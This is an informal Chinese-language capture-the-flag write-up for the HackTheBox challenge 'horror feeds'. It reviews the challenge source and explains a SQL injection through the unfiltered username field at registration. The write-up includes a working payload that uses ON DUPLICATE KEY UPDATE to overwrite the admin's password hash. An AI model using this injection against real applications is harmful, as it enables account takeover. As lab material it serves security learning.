HTB-horror feeds
entrypoint.sh里有数据库的创建过程,其中username被赋予了unique。admin后面那串hash,不出意外是不会起到任何作用的。
Dockerfile
main.py对一些错误进行了处理。
database.py里面有登录、注册功能的说明。
登录功能我们大概率是用不上,所以突破口在register上,此外ON DUPLICATE KEY UPDATE 配上unique有神奇的力量。
举一个例子。
表user,其中username有unique索引。
一般来说要添加一个数据进去使用insert语句。
更新信息用update。
使用insert ON DUPLICATE KEY UPDATE。(注意username拥有unique索引)
成功修改admin的密码为HACK,小写的hack值随意。根据database.py里面insert语句,我们对其作如下修改。
INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")
INSERT INTO users (username, password) VALUES ("admin",nothing") ON DUPLICATE KEY UPDATE password = rick -- - ", "{hashed}")
根据代码可知password进入数据库之前会被加密一次。
username没有进行过滤,可以sql注入,拿到加密后的”rick“。
admin","nothing") ON DUPLICATE KEY UPDATE password="$2b$12$ptJXUPS9LgrGp9XcErH2.eHV4VnIEqvSzhuiKCPO2KwOlWqP4kr1m"-- -
flag在最底下。